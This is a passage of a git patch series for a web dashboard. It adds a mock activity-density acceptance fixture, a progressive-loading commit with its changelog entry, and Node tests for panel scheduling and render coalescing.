evaluate(SCAN_EXPRESSION); for (const f of findings) report.push({ viewport: vp.name, theme, state: state.name, ...f }); - const shot = await send('Page.captureScreenshot', { format: 'png', captureBeyondViewport: true }); - if (shot.error) throw new Error(shot.error.message); const file = `${vp.name}-${theme}-${state.name}.png`.replace(/[^A-Za-z0-9._@-]/g, '_'); - fs.writeFileSync(path.join(opts.out, file), Buffer.from(shot.result.data, 'base64')); + await screenshot(file); console.log(`shot ${file}: ${findings.length} finding(s)`); } + await evaluate(resetJS); } } } finally { if (socket) socket.close(); fs.writeFileSync(path.join(opts.out, 'overflow-report.json'), JSON.stringify(report, null, 2) + '\n'); fs.writeFileSync(path.join(opts.out, 'preparation-rail-layout.json'), JSON.stringify(preparationRailReport, null, 2) + '\n'); + fs.writeFileSync(path.join(opts.out, 'activity-layout.json'), JSON.stringify({ provenance, runs: activityReport }, null, 2) + '\n'); await cleanup(); } console.log(`wrote ${report.length} finding(s) to ${path.join(opts.out, 'overflow-report.json')}`); + if (activityFailures.length) throw new Error('Activity browser acceptance failed: ' + activityFailures.join('; ')); } main().catch((err) => { diff --git a/src/scripts/fixtures/dashboard-activity-density.mjs b/src/scripts/fixtures/dashboard-activity-density.mjs new file mode 100644 index 0000000000..b1a3c7d421 --- /dev/null +++ b/src/scripts/fixtures/dashboard-activity-density.mjs @@ -0,0 +1,162 @@ +// Dedicated file:// acceptance page only. All evidence/permissions are mocks; +// real production renderers and delegated interaction handlers remain in use. +export function activityDensityFixture(input) { + const panel = document.getElementById('activity-monitor-panel'); + if (!panel) throw new Error('Actual Activity Monitor panel is missing'); + const nowMs = Date.now(), observed = new Date(nowMs).toISOString(); + const saved = { data: _stageTracker, rows: _stageTrackerRows, + role: window._hiveRole, user: window._hiveUser, + preparation: [_stageTrackerPreparationShown, _stageTrackerPreparationRendered, + _stageTrackerPreparationInline, _stageTrackerPreparationNow] }; + const items = structuredClone(input.rows); + const rebase = item => { + item.state = 'open'; + item.stage_since = observed; + for (const key of ['ci_activity', 'review_activity', 'code_activity']) { + if (item[key]) item[key].observed_at = observed; + } + if (item.decision_needed && !item.decision_needed.options) { + item.decision_needed.options = [{ action: 'decide:approve', enabled: true, + label: 'Review mock decision', consequence: 'Mock fixture only' }]; + } + for (const child of item.linked_prs || []) rebase(child); + }; + items.forEach(rebase); + const mockPR = (number, stage, extra = {}) => ({ + repo: 'fixture/activity', kind: 'pr', number, stage, state: 'open', + title: 'Mock acceptance projection β€” not a live PR', + head: 'mock-current-head-' + number, stage_since: observed, + url: 'https://example.invalid/activity/' + number, ...extra, + }); + const track = (item, state, caption) => ({ + head: item.head, state, caption, observed_at: observed, source: 'acceptance-fixture', + }); + const unknown = mockPR(9001, 50, { caption: 'Current-head evidence unavailable' }); + const conflict = mockPR(9002, 80, { + merge_gate: { state: 'claim-conflict:9003', duplicate_issue: 9000 }, + decision_needed: { question: 'Which mock implementation should be kept?', + blocker: 'Both claim mock issue #9000; neither is admitted.', + options: [{ action: 'decide:approve', enabled: true, label: 'Keep this implementation', consequence: 'Mock fixture only' }] }, + }); + const longHandle = 'thatguywob'.repeat(12); + const waiting = mockPR(9004, 71, { display_column: 30, + caption: 'Waiting for @' + longHandle + ' Β· not observed coding', + author: longHandle, author_kind: 'human', + code_activity: { state: 'waiting_owner', head: 'mock-current-head-9004', + caption: 'Waiting for @' + longHandle + ' Β· not observed coding', source: 'native-author-wait' }, + push: { state: 'waiting', login: longHandle, since: observed, next: 're-review' }, + }); + const running = mockPR(9005, 50); + running.ci_activity = track(running, 'running', 'CI running'); + running.ci_activity.active = true; + running.review_activity = track(running, 'approved', 'Review approved'); + const held = mockPR(9006, 70, { caption: 'Waiting for fixer Β· no observed code work', + hold: { by: 'hanthor', pill: 'Held by @hanthor', reason: 'Mock human hold' }, + modifiers: ['hold'] }); + const coding = mockPR(9007, 70, { display_column: 30 }); + coding.code_activity = { ...track(coding, 'fixing', 'Remediating Β· fixer'), active: true, + since: observed, source: 'fix-dispatch+successful-edit+verified-git-worktree' }; + coding.ci_activity = { ...track(coding, 'running', 'CI running'), active: true }; + coding.review_activity = { ...track(coding, 'reviewing', 'Review working Β· reviewer'), active: true }; + const triage = { repo: 'fixture/activity', kind: 'issue', number: 9008, stage: 15, + state: 'open', title: 'Mock issue-only triage controls and long wrapping metadata', + url: 'https://example.invalid/activity/9008', operator_action_count: 7 }; + items.push(unknown, conflict, waiting, running, held, coding, triage); + const prUnder = (repo, issueNumber, pr, title) => ({ + repo, kind: 'issue', number: issueNumber, stage: 40, state: 'open', + title, url: 'https://example.invalid/activity/' + issueNumber, linked_prs: [pr], + }); + const prepFront = (number, base, ciState, reviewState) => { + const item = mockPR(number, 74, { repo: 'hivecommons/hive', base_ref: base, + caption: 'Head changed; preparation unverified; CI/re-review queued', + push: { state: 'pushed', login: 'fixture-owner', since: observed, next: 're-review' } }); + item.ci_activity = track(item, ciState, ciState === 'unknown' ? 'Required checks not observed' : 'CI waiting Β· test not observed'); + item.review_activity = track(item, reviewState, 'Review ' + reviewState + ' Β· ' + (reviewState === 'assigned' ? 'adjudicator' : 'unassigned')); + return item; + }; + const front16450 = prepFront(16450, 'v6', 'unknown', 'assigned'); + const front16451 = prepFront(16451, 'v5', 'waiting', 'queued'); + const issue16420 = items.find(item => item.kind === 'issue' && item.number === 16420); + issue16420.stage = 40; + issue16420.linked_prs = [front16450, { number: 16436, stage: 74, state: 'closed', + title: 'Mock closed adopted original', superseded_by: 16450, base_ref: 'v6' }]; + items.push(prUnder('hivecommons/hive', 16363, front16451, 'Mock preparation front on a one-to-one issue')); + const pluk = mockPR(436, 50, { repo: 'hivecommons/pluk' }); + pluk.ci_activity = track(pluk, 'passing', 'CI passed'); + pluk.review_activity = track(pluk, 'assigned', 'Review assigned Β· ci-maintainer'); + items.push(prUnder(pluk.repo, 435, pluk, 'Mock CI-passed / review-assigned linked row')); + const pr16437Index = items.findIndex(item => item.kind === 'pr' && item.number === 16437); + const pr16437 = items.splice(pr16437Index, 1)[0]; + pr16437.stage = 60; + pr16437.manual_merge = false; + pr16437.ci_activity = track(pr16437, 'unknown', 'Required checks not observed'); + pr16437.review_activity = track(pr16437, 'approved', 'Review approved'); + items.push(prUnder(pr16437.repo, 16421, pr16437, 'Mock approved-review / unknown-CI linked row')); + const superseded = items.find(item => item.number === 16438).linked_prs.find(pr => pr.number === 16446); + superseded.stage = 70; + superseded.display_column = 50; + superseded.superseded = true; + superseded.human_attention = { kind: 'pr', number: superseded.number, head: superseded.head, + reason: 'Superseded by #16449 β€” a maintainer decides whether to close this mock implementation' }; + superseded.code_activity = { ...track(superseded, 'waiting_fixer', 'Waiting for fixer Β· no observed code work') }; + superseded.decision_needed = { question: 'Close this mock implementation as superseded by #16449?', + options: [{ action: 'decide:close-superseded', enabled: true, label: 'Close mock superseded PR' }] }; + superseded.review_activity = track(superseded, 'changes_requested', 'Review findings Β· human decision'); + const base_preparation = [front16450, front16451].map(front => ({ + repo: front.repo, base_ref: front.base_ref, state: 'observed', + owner: { number: front.number, role: 'owner', state: 'current', + head_sha: 'mock-previous-head-' + front.number, current_head: front.head, + since: observed, detail: 'Head changed; current preparation unverified' }, waiting: [], + })); + const host = document.createElement('div'); + host.id = 'activity-density-layout-fixture'; + const note = document.createElement('p'); + note.textContent = 'Acceptance fixture: screenshot-shaped identities with MOCK stages/evidence/permissions; not authenticated live projection.'; + host.appendChild(note); + window.__activityDensityCleanup = () => { + stageTrackerCloseDecisionPop(false); + if (typeof hideConfigTooltip === 'function') hideConfigTooltip(); + host.remove(); + _stageTracker = saved.data; + _stageTrackerRows = saved.rows; + window._hiveRole = saved.role; + window._hiveUser = saved.user; + [_stageTrackerPreparationShown, _stageTrackerPreparationRendered, + _stageTrackerPreparationInline, _stageTrackerPreparationNow] = saved.preparation; + delete window.__activityDensityCleanup; + }; + _stageTracker = { items, base_preparation }; + _stageTrackerRows = items; + window._hiveRole = 'owner'; + window._hiveUser = 'fixture-owner'; + // Display labels are fixture inputs; physical order/boundaries stay canonical. + const labels = { 0: 'Open', 10: 'Actionable', 20: 'Claimed', 30: 'PR in progress', + 50: 'CI / Review', 80: 'Merge queue' }; + const stages = STAGE_TRACKER_PATH.map(number => ({ number, short: labels[number] || String(number) })).concat([ + { number: 15, short: 'Triage needed', branch_from: 10 }, + { number: 70, short: 'Remediating', branch_from: 50 }, + { number: 71, short: 'Needs author', branch_from: 30 }, + { number: 72, short: 'Returned to contributor', branch_from: 30 }, + { number: 74, short: 'Adopted by hive', branch_from: 50 }, + { number: 85, short: 'Needs human decision', branch_from: 80 }, + { number: 90, short: 'Ready for human merge', branch_from: 80 }, + ]); + const ctx = { nowMs, items, events: {}, noteTuck: false, sharedPRs: {}, workers: {} }; + try { + host.appendChild(stageTrackerRowNode('fixture-columns', stageTrackerHeaderHtml(stages))); + const ordered = stageTrackerPreparationOrderRows(_stageTracker, items, stages); + _stageTrackerRows = ordered; + stageTrackerPreparationVisualSync(_stageTracker, ordered, ordered, stages, nowMs); + const rows = ordered.map(item => ({ key: stageTrackerItemKey(item), html: stageTrackerRowHtml(item, stages, ctx) })); + for (const row of stageTrackerPreparationInlineRows(rows, ordered, stages)) host.appendChild(stageTrackerRowNode(row.key, row.html)); + panel.appendChild(host); + if (panel.dataset.hamWired !== '1') stageTrackerWireRowActions(panel); + } catch (error) { + window.__activityDensityCleanup(); + throw error; + } + host.scrollIntoView(); + return { provenance: input.provenance, mockEvidence: true, observedAt: observed, + additionalScreenshotShape: 'Screenshot 2026-11-03 at 12.36.31 PM.png', + rows: items.map(item => stageTrackerItemKey(item)) }; +} diff --git a/src/scripts/fixtures/dashboard-preparation-rail.mjs b/src/scripts/fixtures/dashboard-preparation-rail.mjs index 06950a23f4..648c512df9 100644 --- a/src/scripts/fixtures/dashboard-preparation-rail.mjs +++ b/src/scripts/fixtures/dashboard-preparation-rail.mjs @@ -23,9 +23,7 @@ export function preparationRailLayoutFixture() { html: stageTrackerRowHtml(item, [], { ...ctx, prevRow: items[i - 1], nextRow: items[i + 1] }) })); const block = document.createElement('div'); const rendered = stageTrackerPreparationInlineRows(rows, items, []); - block.innerHTML = rendered.map(row => row.html).join(''); - // The production reconciler stamps keys separately from the row renderer. - [...block.children].forEach((element, index) => { element.dataset.hamKey = rendered[index].key; }); + for (const row of rendered) block.appendChild(stageTrackerRowNode(row.key, row.html)); host.appendChild(block); return block; }; From 6b9d9cfc28868be9e96bd1713fff9ddd9fc06202 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 14:27:11 -0500 Subject: [PATCH 11/87] =?UTF-8?q?=E2=9C=A8=20perf:=20progressively=20load?= =?UTF-8?q?=20the=20dashboard=20shell=20and=20live=20panels=20(#16457)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ✨ perf: progressively load the dashboard shell and live panels Signed-off-by: Andy Anderson <andy@clubanderson.com> * πŸ› fix: initialize deferred dashboard overlays after script setup Signed-off-by: Andy Anderson <andy@clubanderson.com> * πŸ› fix: preserve dashboard route and refresh wiring contracts Signed-off-by: Andy Anderson <andy@clubanderson.com> * πŸ› fix: coalesce live cost redraws while the dashboard is hidden Signed-off-by: Andy Anderson <andy@clubanderson.com> --------- Signed-off-by: Andy Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../changed-progressive-dashboard-loading.md | 1 + src/docs/api-reference/snapshots-and-style.md | 2 +- .../dashboard/deferred_init_promise_test.go | 2 +- src/pkg/dashboard/pr_throughput_ui_test.go | 3 +- src/pkg/dashboard/progressive_loading.test.js | 366 +++++++++++++++ src/pkg/dashboard/progressive_loading_test.go | 16 + .../dashboard/review_queue_view_9607_test.go | 2 +- src/pkg/dashboard/server.go | 22 +- .../dashboard/static-src/js/agent-detail.js | 2 +- src/pkg/dashboard/static-src/js/approvals.js | 11 +- .../static-src/js/backends-tokens.js | 6 +- src/pkg/dashboard/static-src/js/boot.js | 6 +- src/pkg/dashboard/static-src/js/chat.js | 5 +- .../static-src/js/config-governor.js | 3 +- src/pkg/dashboard/static-src/js/cost.js | 3 +- .../static-src/js/history-sparklines.js | 16 +- src/pkg/dashboard/static-src/js/layout.js | 2 +- .../dashboard/static-src/js/progressive.js | 159 +++++++ src/pkg/dashboard/static-src/js/refresh.js | 55 +-- .../static-src/js/shimmy-handlers.js | 80 ++-- .../dashboard/static-src/js/sse-bootstrap.js | 8 +- src/pkg/dashboard/static-src/js/welcome.js | 3 +- src/pkg/dashboard/static-src/manifest.txt | 1 + src/pkg/dashboard/static/index.html | 359 ++++++++++----- .../dashboard/webstatic/dashboard_script.go | 165 +++++++ .../webstatic/dashboard_script_test.go | 428 ++++++++++++++++++ 26 files changed, 1504 insertions(+), 222 deletions(-) create mode 100644 changelog.d/changed-progressive-dashboard-loading.md create mode 100644 src/pkg/dashboard/progressive_loading.test.js create mode 100644 src/pkg/dashboard/progressive_loading_test.go create mode 100644 src/pkg/dashboard/static-src/js/progressive.js create mode 100644 src/pkg/dashboard/webstatic/dashboard_script.go create mode 100644 src/pkg/dashboard/webstatic/dashboard_script_test.go diff --git a/changelog.d/changed-progressive-dashboard-loading.md b/changelog.d/changed-progressive-dashboard-loading.md new file mode 100644 index 0000000000..f9bfd7866d --- /dev/null +++ b/changelog.d/changed-progressive-dashboard-loading.md @@ -0,0 +1 @@ +- Show the dashboard shell before downloading its cacheable application script, prioritize the selected and visible panels, limit background refresh concurrency, and progressively render the latest live data without waiting for every panel before restoring navigation. diff --git a/src/docs/api-reference/snapshots-and-style.md b/src/docs/api-reference/snapshots-and-style.md index 0bcb80eda2..6139d7dc10 100644 --- a/src/docs/api-reference/snapshots-and-style.md +++ b/src/docs/api-reference/snapshots-and-style.md @@ -6,7 +6,7 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | Method | Path | Auth | Purpose | Source | |---|---|---|---|---| | `GET` | `/api/style` | Public | Sanitized custom dashboard CSS | `pkg/dashboard/api.go:46` | -| `GET` | `/branding/custom.css` | Dashboard auth/session | Operator branding stylesheet override, read per request (see [branding](../branding.md)) | `pkg/dashboard/server.go:1726` | +| `GET` | `/branding/custom.css` | Dashboard auth/session | Operator branding stylesheet override, read per request (see [branding](../branding.md)) | `pkg/dashboard/server.go:1733` | | `GET` | `/api/snapshot/frame-ancestors` | Public | Snapshot framing allowlist | `pkg/dashboard/api.go:82` | | `GET` | `/api/snapshot` | Public | Snapshot data | `pkg/dashboard/api.go:83` | | `GET` | `/snapshot` | Public | Public read-only snapshot page | `pkg/dashboard/api.go:84` | diff --git a/src/pkg/dashboard/deferred_init_promise_test.go b/src/pkg/dashboard/deferred_init_promise_test.go index 6a11a31e87..c69cb36985 100644 --- a/src/pkg/dashboard/deferred_init_promise_test.go +++ b/src/pkg/dashboard/deferred_init_promise_test.go @@ -177,7 +177,7 @@ func TestDeferredInitGuardsCoverEveryEntry(t *testing.T) { // Count TOP-LEVEL entries only: one per line, at the array's indentation. // Counting every `() =>` in the block would also count the nested arrows // inside each entry's own .then chains. - entryLine := regexp.MustCompile(`(?m)^\s+\(\)\s*=>`) + entryLine := regexp.MustCompile(`(?m)^\s+\['[^']+',\s*\(\)\s*=>`) entries := len(entryLine.FindAllString(block, -1)) matched := len(deferredEntryCall.FindAllString(block, -1)) if entries == 0 { diff --git a/src/pkg/dashboard/pr_throughput_ui_test.go b/src/pkg/dashboard/pr_throughput_ui_test.go index 2c3a5291aa..4237917b13 100644 --- a/src/pkg/dashboard/pr_throughput_ui_test.go +++ b/src/pkg/dashboard/pr_throughput_ui_test.go @@ -52,7 +52,8 @@ func TestPRThroughputCardPinned(t *testing.T) { "function prtWindowLabel", "dto.recorded_since", "of recorded history", - "fetchPRThroughput(); fetchApprovals();", + "['pr-throughput', fetchPRThroughput]", + "['approvals', fetchApprovals]", "'governor','pr-throughput-section','repos-section',", } { if !strings.Contains(html, snippet) { diff --git a/src/pkg/dashboard/progressive_loading.test.js b/src/pkg/dashboard/progressive_loading.test.js new file mode 100644 index 0000000000..1f19093b2c --- /dev/null +++ b/src/pkg/dashboard/progressive_loading.test.js @@ -0,0 +1,366 @@ +const test = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); + +const source = fs.readFileSync(path.join(__dirname, 'static-src/js/progressive.js'), 'utf8'); +const html = fs.readFileSync(path.join(__dirname, 'static/index.html'), 'utf8'); +const flush = async () => { for (let i = 0; i < 12; i++) await Promise.resolve(); }; +const deferred = () => { + let resolve; + const promise = new Promise(done => { resolve = done; }); + return { promise, resolve }; +}; + +function environment({ hidden = false, idle = true } = {}) { + const turns = [], timers = [], errors = [], listeners = {}, intervals = new Map(); + let intervalID = 0; + const window = { location: { hash: '' }, innerHeight: 900 }; + if (idle) window.requestIdleCallback = fn => { turns.push(fn); }; + const sections = new Map(); + const document = { + hidden, + getElementById: id => sections.get(id), + addEventListener(type, fn) { (listeners[type] ||= []).push(fn); }, + }; + const statusGuard = html.match(/function dashboardStatusCanRender\(data\) \{[\s\S]*?\n \}/); + assert.ok(statusGuard); + const intervalSource = html.slice(html.indexOf(' function dashboardSetInterval('), html.indexOf(' let historyData =')); + assert.ok(intervalSource.includes('function dashboardRunInterval')); + const api = new Function('window', 'document', 'setTimeout', 'console', 'setInterval', 'clearInterval', + 'let _statusSeqFloor = 0, _lastStatusSeq = 0, _statusInstance = "";\n' + + 'const DASHBOARD_INTERVALS = {};\n' + statusGuard[0] + '\n' + source + '\n' + intervalSource + + '\nreturn {dashboardScheduleWork, dashboardRenderSection, dashboardProgressiveWake, dashboardSetInterval,' + + 'setStatus(floor, latest, instance) {_statusSeqFloor=floor; _lastStatusSeq=latest; _statusInstance=instance;}};' + )(window, document, (fn, ms) => { timers.push({ fn, ms }); }, { + error(...args) { errors.push(args); }, + }, (fn, ms) => { const id = ++intervalID; intervals.set(id, { fn, ms }); return id; }, + id => intervals.delete(id)); + return { + api, window, document, sections, errors, turns, timers, intervals, + start() { timers.shift().fn(); }, + async turn() { assert.ok(turns.length, 'an idle turn must be scheduled'); turns.shift()(); await flush(); }, + visibility(value) { + document.hidden = value; + for (const fn of listeners.visibilitychange || []) fn(); + }, + }; +} + +test('the generated dashboard carries the progressive scheduler', () => { + assert.ok(html.includes(source)); + assert.ok(!html.includes("document.body.style.opacity='0'")); + const afterPaint = html.slice(html.indexOf('function _afterPaint('), html.indexOf('const NAVBAR_CLOCK_TICK_MS')); + assert.ok(afterPaint.includes('requestAnimationFrame')); + assert.ok(!afterPaint.includes('_deferredLoadPromise'), 'navigation cannot await every background API'); +}); + +test('background work yields, stays bounded through decoding, and coalesces repeated ticks', async () => { + const e = environment(); + const gates = [deferred(), deferred(), deferred()]; + const started = []; + const promises = gates.map((gate, index) => + e.api.dashboardScheduleWork('job-' + index, async () => { + started.push(index); + await gate.promise; + return index; + })); + assert.equal(e.api.dashboardScheduleWork('job-0', () => assert.fail('duplicate flight')), promises[0]); + assert.equal(e.turns.length, 0, 'critical status/config get a head start'); + e.start(); + await e.turn(); + await e.turn(); + assert.deepEqual(started, [0, 1]); + assert.equal(e.turns.length, 0, 'no more than two unfinished jobs'); + gates[0].resolve(); + await flush(); + await e.turn(); + assert.deepEqual(started, [0, 1, 2]); + gates[1].resolve(); + gates[2].resolve(); + assert.deepEqual(await Promise.all(promises), [0, 1, 2]); + let refreshed = false; + const again = e.api.dashboardScheduleWork('job-0', () => { refreshed = true; }); + await e.turn(); + await again; + assert.equal(refreshed, true, 'settled jobs can refresh immediately after awaiting them'); +}); + +test('the selected section wins before visible panels, then background panels', async () => { + const e = environment(); + const order = []; + e.window.location.hash = '#section-activity-monitor-section'; + e.sections.set('overview-section', { + getClientRects: () => [{}], + getBoundingClientRect: () => ({ top: 10, bottom: 300 }), + }); + const a = e.api.dashboardScheduleWork('knowledge-stats', () => order.push('background')); + const b = e.api.dashboardScheduleWork('overview-kpi-history', () => order.push('visible')); + const c = e.api.dashboardScheduleWork('stage-tracker', () => order.push('selected')); + e.start(); + while (e.turns.length) await e.turn(); + await Promise.all([a, b, c]); + assert.deepEqual(order, ['selected', 'visible', 'background']); +}); + +test('priority is recomputed after navigation while other work is in flight', async () => { + const e = environment(); + const gate = deferred(), order = []; + e.api.dashboardScheduleWork('first', () => gate.promise); + e.api.dashboardScheduleWork('second', () => gate.promise); + e.api.dashboardScheduleWork('knowledge-stats', () => order.push('knowledge')); + e.api.dashboardScheduleWork('stage-tracker', () => order.push('tracker')); + e.start(); + await e.turn(); + await e.turn(); + e.window.location.hash = '#section-activity-monitor-section'; + gate.resolve(); + await flush(); + await e.turn(); + assert.equal(order[0], 'tracker'); + while (e.turns.length) await e.turn(); +}); + +test('hidden tabs retain jobs without starting them and resume once', async () => { + const e = environment({ hidden: true }); + let runs = 0; + const pending = e.api.dashboardScheduleWork('cost', () => runs++); + e.start(); + assert.equal(e.turns.length, 0); + e.visibility(false); + e.visibility(true); + await e.turn(); + assert.equal(runs, 0, 'a tab can become hidden after scheduling'); + e.visibility(false); + await e.turn(); + await pending; + assert.equal(runs, 1); +}); + +test('synchronous failures reject, release their slot, and do not strand other panels', async () => { + const e = environment(); + const rejected = assert.rejects(e.api.dashboardScheduleWork('bad', () => { + throw new Error('broken panel'); + }), /broken panel/); + let ran = false; + const good = e.api.dashboardScheduleWork('good', () => { ran = true; }); + e.start(); + while (e.turns.length) await e.turn(); + await rejected; + await good; + assert.equal(ran, true); +}); + +test('visibility resume and overlapping poll ticks use the same bounded flights', async () => { + const e = environment(), gate = deferred(), started = []; + for (const key of ['cost', 'git-version', 'stage-tracker']) { + e.api.dashboardSetInterval(key, async () => { + started.push(key); + await gate.promise; + }, 1000); + } + let watchdog = 0; + e.api.dashboardSetInterval('sse-watchdog', () => watchdog++, 1000); + e.visibility(true); + assert.equal(e.intervals.size, 0); + e.visibility(false); + assert.equal(watchdog, 1, 'liveness must not wait behind background panels'); + e.start(); + await e.turn(); + await e.turn(); + assert.equal(started.length, 2); + for (const timer of e.intervals.values()) timer.fn(); + await flush(); + assert.equal(started.length, 2, 'new ticks cannot overlap existing panel requests'); + gate.resolve(); + await flush(); + while (e.turns.length) await e.turn(); + assert.equal(started.length, 3); + assert.equal(new Set(started).size, 3); +}); + +test('advisory and approvals bootstrap uses the same bounded queue instead of a request burst', async () => { + const e = environment(), gate = deferred(), started = []; + const panels = html.match(/function v4RefreshPanels\(\) \{[\s\S]*?\n \}/); + assert.ok(panels); + const keys = ['advice', 'recommendation', 'lifecycle', 'throughput', 'approvals']; + const functions = keys.map(key => async () => { started.push(key); await gate.promise; }); + new Function('dashboardScheduleWork', 'fetchHiveAdvice', 'fetchACMMReco', 'fetchLifecycle', + 'fetchPRThroughput', 'fetchApprovals', panels[0] + '\nv4RefreshPanels();', + )(e.api.dashboardScheduleWork, ...functions); + e.start(); + await e.turn(); + await e.turn(); + assert.equal(started.length, 2); + gate.resolve(); + await flush(); + while (e.turns.length) await e.turn(); + assert.deepEqual(started, keys); +}); + +test('rendering coalesces snapshots and paints one section per idle turn', async () => { + const e = environment(), rendered = []; + e.api.dashboardRenderSection('tokens', ['token-panel'], () => rendered.push('stale')); + e.api.dashboardRenderSection('tokens', ['token-panel'], () => rendered.push('latest')); + e.api.dashboardRenderSection('tracker', ['activity-monitor-section'], () => rendered.push('tracker')); + e.window.location.hash = '#section-activity-monitor-section'; + await e.turn(); + assert.deepEqual(rendered, ['tracker']); + await e.turn(); + assert.deepEqual(rendered, ['tracker', 'latest']); +}); + +test('hidden render snapshots stay bounded and resume with the newest state', async () => { + const e = environment({ hidden: true }); + let rendered; + for (let i = 0; i < 100; i++) { + e.api.dashboardRenderSection('agents', ['agents-section'], () => { rendered = i; }); + } + assert.equal(e.turns.length, 0); + e.visibility(false); + await e.turn(); + assert.equal(rendered, 99); + assert.equal(e.turns.length, 0); +}); + +test('a broken renderer is reported without blocking another section', async () => { + const e = environment(); + let ran = false; + e.api.dashboardRenderSection('bad', [], () => { throw new Error('bad render'); }); + e.api.dashboardRenderSection('good', [], () => { ran = true; }); + await e.turn(); + assert.equal(e.errors.length, 1); + await e.turn(); + assert.equal(ran, true); +}); + +test('queued snapshots recheck mutation floors, ordering, and server instance at execution', async () => { + const e = environment(), rendered = []; + e.api.dashboardRenderSection('old', [], () => rendered.push('old'), { statusSeq: 4, statusInstance: 'a' }); + e.api.setStatus(5, 5, 'a'); + await e.turn(); + assert.deepEqual(rendered, [], 'an optimistic mutation cannot be reverted by queued old data'); + e.api.dashboardRenderSection('old-instance', [], () => rendered.push('old-instance'), { statusSeq: 100, statusInstance: 'a' }); + e.api.setStatus(0, 1, 'b'); + await e.turn(); + assert.deepEqual(rendered, [], 'a restarted server invalidates queued snapshots from its predecessor'); + e.api.dashboardRenderSection('older', [], () => rendered.push('older'), { statusSeq: 1, statusInstance: 'b' }); + e.api.setStatus(0, 2, 'b'); + await e.turn(); + assert.deepEqual(rendered, []); + e.api.dashboardRenderSection('fresh', [], () => rendered.push('fresh'), { statusSeq: 2, statusInstance: 'b' }); + await e.turn(); + assert.deepEqual(rendered, ['fresh']); + e.api.dashboardRenderSection('legacy', [], () => rendered.push('legacy'), {}); + await e.turn(); + assert.deepEqual(rendered, ['fresh', 'legacy']); +}); + +test('a queued worker redraw survives newer status snapshots with unchanged workers', async () => { + const e = environment(); + const redraw = html.match(/dashboardRenderSection\('tracker-workers',[^\n]+/); + assert.ok(redraw); + let latestWorkers = ['working'], rendered; + const snapshot = { statusSeq: 1, statusInstance: 'a' }; + new Function('dashboardRenderSection', 'renderStageTracker', 'data', redraw[0])( + e.api.dashboardRenderSection, () => { rendered = latestWorkers; }, snapshot, + ); + e.api.setStatus(0, 2, 'a'); + latestWorkers = ['working', 'newest']; + await e.turn(); + assert.deepEqual(rendered, ['working', 'newest']); +}); + +test('agent-status bursts do not rebuild hidden cost and agent tables', async () => { + const e = environment({ hidden: true }); + e.window._lastStatus = { agents: [] }; + const begin = html.indexOf(" source.addEventListener('agent-status',"); + const end = html.indexOf(' // The pod announces', begin); + assert.ok(begin > 0 && end > begin); + let handler, costs = 0, agents = 0; + const noop = () => {}; + const source = { addEventListener(event, fn) { assert.equal(event, 'agent-status'); handler = fn; } }; + new Function('window', 'source', 'noteSSEFrame', 'noteAgentNowUpdate', 'ocUpdateSidebarAgents', + '_ocSelectedAgent', 'ocRenderAgentDetail', 'applyPinOverrides', 'dashboardRenderSection', + '_dropdownOpen', '_configModalOpen', 'renderAgents', '_lastCost', 'renderCost', + 'ocUpdateFocusedState', 'applyACMMVisibility', 'refreshWelcomeAutoChecks', + html.slice(begin, end), + )(e.window, source, noop, noop, noop, null, noop, noop, e.api.dashboardRenderSection, + false, false, () => agents++, {}, () => costs++, noop, noop, noop); + for (let i = 0; i < 10; i++) handler({ data: JSON.stringify({ agents: [{ name: 'worker-' + i }] }) }); + assert.equal(agents, 0); + assert.equal(costs, 0); + e.visibility(false); + await e.turn(); + await e.turn(); + assert.equal(agents, 1); + assert.equal(costs, 1); + assert.equal(e.window._lastStatus.agents[0].name, 'worker-9'); +}); + +test('browsers without requestIdleCallback still yield with bounded work', async () => { + const e = environment({ idle: false }); + let ran = false; + const result = e.api.dashboardScheduleWork('cost', () => { ran = true; }); + e.start(); + assert.equal(ran, false); + assert.equal(e.timers.length, 1); + assert.ok(e.timers[0].ms > 0); + e.timers.shift().fn(); + await result; + assert.equal(ran, true); +}); + +test('backend discovery retains its slot until each model request is decoded', async () => { + const discovery = html.match(/async function refreshBackendDiscovery\(force\) \{[\s\S]*?\n \}/); + assert.ok(discovery); + const calls = [], gate = deferred(); + const run = new Function('INFERENCE_BACKENDS', 'fetchInferenceModels', 'fetchConfiguredGateways', + discovery[0] + '\nreturn refreshBackendDiscovery(true);' + )(['one', 'two'], async (backend, force) => { + assert.equal(force, true); + calls.push(backend); + if (backend === 'one') await gate.promise; + }, async () => { calls.push('gateways'); }); + await flush(); + assert.deepEqual(calls, ['one']); + gate.resolve(); + await run; + assert.deepEqual(calls, ['one', 'two', 'gateways']); +}); + +for (const readyState of ['loading', 'interactive', 'complete']) { + test('modal initialization waits for later main-script constants when readyState is ' + readyState, () => { + const install = html.match(/\(function installModalScrollLock\(\) \{[\s\S]*?\n \}\)\(\);/); + const helpers = html.slice(html.indexOf(' const HIVE_MODAL_SCROLL_EPS ='), html.indexOf(' // On narrow viewports a .hive-dialog')); + assert.ok(install); + assert.ok(helpers.includes('function hiveModalScrollInit')); + assert.ok(html.indexOf(install[0]) < html.indexOf(helpers), 'exercise production declaration order'); + const callbacks = [], classes = new Set(['modal-scroll']); + const scroller = { + scrollHeight: 100, clientHeight: 10, scrollTop: 0, dataset: {}, + addEventListener() {}, + classList: { + contains: cls => classes.has(cls), add: cls => classes.add(cls), + toggle(cls, on) { if (on) classes.add(cls); else classes.delete(cls); }, + }, + }; + const root = { classList: { toggle() {} } }; + const document = { + readyState, body: root, documentElement: root, + querySelectorAll: selector => selector.startsWith('.modal-scroll') ? [scroller] : [], + addEventListener(event, callback) { + assert.equal(event, 'DOMContentLoaded'); + callbacks.push(callback); + }, + }; + assert.doesNotThrow(() => new Function('document', 'window', 'MutationObserver', 'queueMicrotask', + install[0] + '\n' + helpers, + )(document, { addEventListener() {} }, class { observe() {} }, fn => callbacks.push(fn))); + assert.equal(scroller.dataset.modalScrollWired, undefined, 'initialization must not run mid-script'); + assert.equal(callbacks.length, 1); + callbacks[0](); + assert.equal(scroller.dataset.modalScrollWired, '1'); + assert.equal(classes.has('is-scrollable-more'), true); + }); +} diff --git a/src/pkg/dashboard/progressive_loading_test.go b/src/pkg/dashboard/progressive_loading_test.go 